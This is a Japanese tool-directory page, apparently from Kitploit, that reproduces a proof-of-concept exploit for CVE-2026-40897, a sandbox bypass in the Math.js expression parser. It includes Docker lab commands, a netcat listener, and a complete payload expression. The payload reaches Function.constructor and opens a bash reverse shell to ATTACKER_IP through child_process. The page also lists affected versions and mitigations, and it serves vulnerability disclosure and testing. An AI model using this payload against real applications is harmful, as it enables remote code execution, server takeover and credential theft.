Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-40897 — CVE-2026-40897の概念実証エクスプロイト。Math.js式パーサーのサンドボックスバイパスにより、細工されたペイロードとDockerラボを介したリモートコード実行を可能にする。 | Kitploit
ツール/GitHubGitHub/yym8538/cve-2026-40897
脆弱性分析エクスプロイトウェブアプリケーション悪用セキュリティ仮想化リモートアクセスツールペイロード開発
GitHubyym8538/cve-2026-40897

CVE-2026-40897

CVE-2026-40897の概念実証エクスプロイト。Math.js式パーサーのサンドボックスバイパスにより、細工されたペイロードとDockerラボを介したリモートコード実行を可能にする。

リポジトリを見る
11ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-40897 Math.js 式パーサーにおけるリモートコード実行

★ CVE-2026-40897 Math.js におけるリモートコード実行のPoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


概要

CVE-2026-40897 は、Math.js の式パーサーにおける サンドボックスバイパスによるリモートコード実行 の脆弱性です。 isSafeProperty フィルターはユーザー式からのプロパティアクセスのみをチェックし、内部コードパスからのアクセスはチェックしません。ArrayNode の内部配列を toJSON() 経由で漏洩させ、その .map を上書きすることで、攻撃者は内部コードに Function.constructor へアクセスさせ、任意の JavaScript を実行させることができます。


影響を受けるバージョン

カテゴリバージョン
脆弱Math.js 13.1.1 ≤ version ≤ 15.1.1
修正済み15.2.0

影響

  • 任意の JavaScript コード実行 (RCE)
  • ホストファイルシステムへのアクセス
  • リバースシェル接続によるサーバー全体の侵害
  • バックエンドの認証情報および機密データの窃取

環境

docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

脆弱な環境を起動した後、以下の手順に従って攻撃を再現します。

ステップ 1. リバースシェルリスナーを起動する

nc -lvnp 4444

ステップ 2. 悪意のあるペイロードを送信する

以下の式を math.evaluate に送信します (例: アプリケーションの計算入力欄を通じて)。

array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

ステップ 3. 攻撃者側でシェルアクセスを確認する

ターゲットサーバーが攻撃者のリスナーに接続し、対話型の bash シェルを取得します。


緩和策

  • Math.js を修正済みバージョンにアップグレードする
  • 信頼できないユーザー入力を math.evaluate() に直接渡すことを避ける
  • 内部関数/クラス (reviver、FunctionAssignmentNode、ArrayNode) の式パーサー経由での露出を制限する

分析

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN: https://www.skshieldus.com/en/report?tab=eqst
ツールをダウンロード